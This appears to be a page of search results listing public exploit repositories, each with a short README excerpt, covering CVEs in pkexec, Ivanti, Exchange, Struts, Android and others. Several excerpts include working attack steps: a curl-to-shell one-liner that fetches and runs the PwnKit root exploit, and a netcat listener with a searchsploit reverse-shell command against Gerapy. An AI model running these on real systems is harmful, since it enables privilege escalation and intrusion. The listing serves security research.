232331 matches found
CVE-2025-5548
Vulnerability Analysis and Exploitation Methodology Author: Anas Rami Module 6: Vulnerabilities - Master in Cybersecurity Objective: Technical proposal on vulnerability analysis, exploit development, and approach to 0-days, documenting the laboratory environment and practical cases. 1...
PwnKit
PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...
Ducky-Exploit
Ducky-Exploit Introduction Ducky Exploit is python framework which helps as to code Digispark as Rubber Ducky This script has been tested on Kali Linux 18.2 Ubuntu 18.04 Windows Works with both Python2 and Python3 Keyboard Support Type US Type Keyboard Usage git clone...
cve-2014-7920-7921_update
cve-2014-7920-7921 Exploit code for CVE-2014-7920 and CVE-2014-7921 - code-exec in mediaserver up to Android 5.1 The symbols in this exploit are for Android 4.3, for can be adapted to any version up to Android 5.1...
CVE-2024-7593_PoC_Exploit
CVE-2024-7593 Exploit Script This Bash script serves as a proof of concept PoC for exploiting the authentication bypass vulnerability in Ivanti vTM CVE-2024-7593. It allows users to create a new admin user on the target system. Table of Contents Prerequisites Usage Parameters Example Author Licen...
CopyFail
A CopyFail CVE-2026-31431 implementation that isnt slop. Bring your own payload if you like...
cve-2024-0305exp
cve-2024-0305exp Available exp for cve-2024-0305, please credit the source if referenced, thank you! 0x01 Product Background Ncast High-Definition Intelligent Recording & Broadcasting System is a product of Guangzhou Encast Electronic Technology Co., Ltd. This system has an RCE vulnerability that...
POC-CVE-2026-0768
Description Proof of concept exploit code for CVE-2026-0768 Usage python3 poc.py -u -c...
CVE-2020-15492
CVE-2020-15492 This vulnerablity was discovered and disclosed by me. This repository will hold the advisory, exploits and the setup executable of the vulnerable software for one to experiment with this vulnerability. This repository is only for educational purposes. Links Advisory SYSS-2020-028...
CVE-2019-12725
CVE-2019-12725 ZeroShell has a command execution vulnerability that allows attackers to execute arbitrary commands Tool Usage python3 CVE-2019-12725.py -u http://127.0.0.1:1111 Single URL test python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell mode python3 CVE-2019-12725.py -f url.txt...
Follina-CVE-2022-30190-Sample
Follina-CVE-2022-30190-Sample-by-ethical-blue Educational Follina Tool Version history v1.1 — JavaScript payload obfuscation v1.0 — Initial release Features .RTF payload generator Simple HTTP Server for payload Mitigation tips Configuration extractor Easy to use for learning Exploit Executed...
0-click-RCE-Exploit-for-CVE-2024-51791
CVE-2024-51791 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1858910306140893268 This repository contains a proof-of-concept exploit for CVE-2024-51791, an unauthenticated arbitrary file upload vulnerability in a vulnerable WordPress forms plugin, leading to...
TempRoot-Huawei
TempRoot-Huawei Temporary root for Huawei hardened kernel via CVE-2019-2215 This code is written for P20 Pro CLT-AL00, and kernel offset is taken from firmware with build fingerprint: 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' Background Like Samsung's KNOX, Huawei adde...
CVE-2024-0692-SolarWinds-SEM-RCE
CVE-2024-0692-SolarWinds-SEM-RCE Based on my research during a penetration test, see the details here https://www.sprocketsecurity.com/blog/cve-2024-0692-building-the-exploit-that-didnt-exist...
CVE-2017-0038-EXP-C-JS
CVE-2017-0038-EXP-C-JS Detailed vulnerability analysis and exploit writing process have been published on Security Guest: http://bobao.360.cn/learning/detail/3644.html In the C Exploit, there is one missing printf to print the final color array. You can add it manually or directly use debug...
Stutsfi
Stutsfi An exploit for CVE-2017-5638 Remote Code Execution RCE Vulnerability in Apache Struts 2...
CVE-2021-26855-exploit-Exchange
CVE-2021-26855 exploit-Exchange Auto Scan the World and auto exploit rce By EOG Team...
CVE-2021-4034
Python3 code to exploit CVE-2021-4034 PWNKIT. This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs. The default payload starts a shell as root, generated from msfvenom: msfvenom -p linux/x64/exec -f elf-so...
CVE-2021-43857-Gerapy-v0.9.7
CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...